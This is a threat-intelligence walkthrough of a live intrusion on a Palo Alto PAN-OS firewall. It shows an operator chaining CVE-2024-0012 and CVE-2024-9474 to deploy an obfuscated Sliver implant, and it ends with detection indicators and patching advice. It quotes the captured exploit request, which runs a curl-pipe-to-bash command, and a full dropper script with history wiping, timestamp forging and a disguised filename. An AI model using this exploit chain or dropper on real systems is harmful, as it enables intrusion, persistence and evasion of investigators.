Feng Shui: A Custom, Fully-Obfuscated Sliver Implant Deployed to a Palo Alto Firewall (CVE-2024-0012 + CVE-2024-9474)

Palo Alto Networks firewalls run an operating system called PAN-OS and sit between the internet and the corporate network. Administrators manage them through a web interface. When an attacker compromises a firewall, they do not just own one device. They own the choke point that all traffic flows through, and from there they can intercept data, pivot into internal systems, and maintain access even if endpoint security catches them elsewhere.

In 2024, a series of critical vulnerabilities in PAN-OS were added to the CISA Known Exploited Vulnerabilities catalog — including the two this operator chained together. All have patches available. Many organizations have not applied them.

Over two days in mid-2026, we watched a single operator work through a PAN-OS device. They started with reconnaissance, then chained two vulnerabilities in a single request to install a custom-compiled backdoor binary that does not appear in any public malware database, communicating with command-and-control domains that were not in any threat intelligence feed at the time of capture.

This is the step-by-step walkthrough of that operation.

Every payload, command string, and binary quoted below is captured attacker input, reproduced for analysis. None of it is an instruction to run.

Step 1: Reconnaissance

The operator visited the firewall's web management interface with a plain GET request, the equivalent of checking if the front door exists before trying keys. They returned several hours later for a second look.

The multi-hour gap between visits indicates a human operator making manual decisions, not an automated scanner. Automated tools revisit in seconds or minutes, not hours.

Step 2: Exploitation

The operator chained two vulnerabilities in a single request to gain full control of the device.

Part A: Authentication bypass (CVE-2024-0012). The operator appended .js.map to the end of a PHP file path:

/php/utils/createRemoteAppwebSession.php/watchTowr.js.map

PAN-OS's web server sees the .js.map suffix and treats the request as a static file (like a JavaScript source map), so it skips the authentication check. But the PHP interpreter still processes the underlying file. This technique was documented by the security research firm watchTowr.

Part B: Privilege escalation (CVE-2024-9474). The user parameter of the PHP file is passed directly into a shell command without sanitization. The operator injected a command inside backticks:

user=`curl -k hxxps://feng-shui[.]ua/b/in.js|bash`&userRole=superuser&remoteHost=&vsys=vsys1

This tells the firewall to download a script from the attacker's staging server and execute it immediately. One request, two vulnerabilities, full control.

Step 3: The dropper

The downloaded script (in.js, 303 bytes) is short and purposeful:

#!/bin/bash
unset HISTFILE
if [ ! -s /usr/bin/e3fsck ]; then
    wget --no-check-certificate \
      hxxps://feng-shui[.]ua/b/up.js \
      -O /usr/bin/e3fsck
fi
touch -r /usr/sbin/e3fsck /usr/bin/e3fsck || true
if ! pgrep -x e3fsck; then
    chmod 700 /usr/bin/e3fsck && \
      (/usr/bin/e3fsck &)
fi
echo "" > /root/.bash_history

What the attacker is doing:

1. Covering their tracks. unset HISTFILE prevents the current shell session from saving commands. At the end, echo "" > /root/.bash_history wipes the history file. An investigator checking .bash_history would see nothing.

2. Downloading the implant. The 11MB binary is saved as /usr/bin/e3fsck, a name that mimics the legitimate Linux filesystem-check utility (e2fsck / e3fsck). A system administrator scanning the process list would see "e3fsck" and likely assume it is a legitimate maintenance task.

3. Faking the timestamp. touch -r copies the modification timestamp from the real filesystem check tool to the implant. The file blends into a directory listing sorted by date.

4. Running it once. The script checks if the implant is already running before launching it, so re-running the exploit does not create duplicates.

Every line serves a purpose. Three separate anti-forensic measures, a convincing filename, and idempotent execution. This is not a hastily written dropper.

Step 3b: How the staging server protects the implant

The staging server (feng-shui[.]ua) uses an interesting anti-analysis technique: it blocks downloads from cloud provider IP ranges. Requests from AWS, GCP, Azure, and Cloudflare receive a 403 or connection timeout. The 303-byte dropper script downloads from any IP, but the 11MB implant binary only downloads from residential and corporate IPs.

This is a deliberate anti-analysis measure. It prevents automated malware sandboxes (which run on cloud VMs) from obtaining the binary, prevents threat intelligence crawlers from cataloging it, and prevents incident response teams from grabbing a copy using cloud-hosted forensic tools. The only way to get the binary is from the same type of IP address that a real compromised firewall would have.

Both files use .js extensions (in.js and up.js), served from a path called /b/. To a network defender reviewing proxy logs, these look like ordinary JavaScript assets. The URL hxxps://feng-shui[.]ua/b/up.js would not trigger most URL filtering rules.

Step 4: The implant

The downloaded file is an 11MB compiled Linux binary (not JavaScript despite the .js extension), compressed with UPX. When unpacked it expands to 33MB.

We identified it as Sliver, an open-source command-and-control framework. The operator compiled it with Sliver's --obfuscation flag, which randomizes all internal names. A strings search returns zero instances of "sliver", "bishopfox", "implant", or any identifying framework name.

We attributed it through the protobuf message structures, which survive obfuscation because they define the communication protocol between the implant and the C2 server (both sides must agree on the message format). Sliver- specific field names like BeaconRegister, PivotPeerEnvelope, WGSocksServersReq, and ExecuteAssemblyReq confirmed the framework.

What the implant can do on a victim network:

The implant has four communication methods built in: HTTPS (blends with normal web traffic), DNS (fallback when HTTPS is blocked), mutual TLS (direct encrypted connection), and WireGuard (full VPN tunnel). If a SOC team blocks one, the implant falls back to another.

From a compromised firewall, the operator can:

• Run commands on the firewall and any system they can reach through it
• Pivot into the internal network using the WireGuard tunnel and SOCKS proxy. Internal monitoring sees traffic coming from the firewall's own IP, a trusted device
• Steal credentials and impersonate users for lateral movement into Windows environments
• Run post-exploitation tooling in memory — execute .NET assemblies and spawn or sideload DLLs, leaving minimal disk traces
• Add new capabilities after deployment by loading runtime extensions (including WebAssembly modules), without recompiling or redeploying the implant

What is NOT in the binary: No cryptominer, no ransomware, no wiper, no automated data exfiltration, no self-propagation. This is purely an access tool. The operator builds a foothold and decides what to do next based on what they find. This is consistent (moderate confidence) with an access broker — someone whose product is verified access to a corporate network — but that role is an assessment; the captured, reverse-engineered implant is the hard evidence.

Step 5: Confirmation

The operator sent the identical exploit payload several hours later. The dropper's idempotency check means this confirms the implant is running rather than reinstalling it.

The operator

The same IP and User-Agent recurred across the sessions over two days, with irregular multi-hour gaps roughly spanning 03:00-19:00 in a European time zone — consistent with a human operator working manually rather than an automated scanner. (The JA4 fingerprint is a common TLS-library signature shared by many unrelated scanners, so it is not a reliable operator identifier on its own.)

The source IP belongs to a residential ISP in Europe (not a VPS or bulletproof host), which is either a compromised home router used as a proxy or the operator's actual connection.

The operator reads public security research: the authentication bypass path includes watchTowr.js.map, directly referencing the firm that published the technique.

A note on CVE-2024-3400: CVE-2024-3400 (a separate PAN-OS GlobalProtect vulnerability) is mass-scanned across the internet by commodity tooling. We did not attribute any such activity to this operator and make no claim it is part of this campaign. It remains a vulnerability worth patching on its own merits.

Infrastructure

All characterization is from passive sources only; we did not probe the operator's infrastructure. Feed status verified July 2026 against VirusTotal, MalwareBazaar, and ThreatFox; we have since contributed these indicators to ThreatFox and OTX to aid defenders.

The separation of staging infrastructure from C2 infrastructure is a deliberate tradecraft choice. Taking down the staging server does not disrupt already-deployed implants, because they beacon to different domains.

Timeline

What defenders should look for

Behavioral and host-integrity checks first (durable), then atomic indicators (cheap for the operator to change), then what will not work.

Behavioral

1. PAN-OS management plane: POST to a path matching createRemoteAppwebSession.php/*.js.map with backtick or $() characters in the user field.
2. Process monitoring: A process named e3fsck running from /usr/bin/ with permissions 700 and no parent process. The real utility runs from /usr/sbin/.
3. Network egress: Outbound connections from a PAN-OS management interface to secpopper[.]world, catalapnews[.]today, or feng-shui[.]ua.
4. File integrity: /usr/bin/e3fsck should not exist on PAN-OS. Any file in /usr/bin/ that is 11MB, has permissions 700, and shares a timestamp with a /usr/sbin/ binary warrants investigation.

Atomic indicators (see IOC CSV)

The staging and C2 domains (feng-shui[.]ua, secpopper[.]world, catalapnews[.]today), the implant path /usr/bin/e3fsck, and the sample hashes. These are cheap for the operator to rotate — the behavioral and file-integrity checks above are the durable detections. Full list in iocs-feng-shui.csv.

What will NOT detect this

• Antivirus/EDR signatures. The binary is novel and obfuscated.
• Threat feed lookups. All domains and hashes are clean.
• PAN-OS authentication logs. CVE-2024-0012 bypasses authentication logging by making the request appear to be a static file fetch.
• Automated sandbox fetch. The staging server blocks cloud IP downloads.
• URL filtering. The .js extensions on a benign-looking domain pass through most category filters.

Sample hashes

All three samples are exclusive to this capture: as of July 2026 none appear in VirusTotal or MalwareBazaar. There is no public sample of this implant.

Detection content

• yara-feng-shui-sliver.yar — YARA rule for the Sliver implant
• sigma-feng-shui-panos-exploit.yml — Sigma rule for the PAN-OS exploit chain
• iocs-feng-shui.csv — indicators of compromise

Requesting indicators

A vetted-distribution package — the complete session capture, TLS fingerprints, the unpacked-implant analysis, and the full reverse-engineering notes behind this report — is available for law enforcement, vendor product-security teams, and enterprise defenders operating PAN-OS devices. Reference campaign tag feng-shui.

Contact: stateoftheattack.com

Recommendations

Patch. Apply the fixes for CVE-2024-0012 and CVE-2024-9474, the chain used in this intrusion. Both are KEV entries. Also patch CVE-2024-3400, a separate PAN-OS KEV vulnerability that is heavily scanned in the wild. PAN-OS management interfaces should not be directly internet-exposed.

Hunt. Search PAN-OS appliances for /usr/bin/e3fsck. Check for outbound DNS or HTTPS connections to secpopper[.]world or catalapnews[.]today.

Block. Block secpopper[.]world, catalapnews[.]today, and feng-shui[.]ua at DNS and egress. Deploy the YARA and Sigma rules.

Closing

This operator is methodical and well-equipped. They chain two vulnerabilities in a single request, read public security research to stay current, and compile custom Sliver binaries with full obfuscation. Their staging infrastructure blocks the automated analysis pipelines that most defenders rely on, and their C2 domains were invisible to every public threat feed at the time of capture.

The implant they deployed is not ransomware or a cryptominer. It is an access tool, designed to give the operator a persistent, stealthy foothold on a network firewall. From that position an operator can pivot into the internal network, intercept traffic, and steal credentials. Our assessment — moderate confidence — is that this profile fits an access broker, someone whose product is verified access to a corporate network; but the captured evidence is the implant, not the sale. The firewall is not the target. It is the door.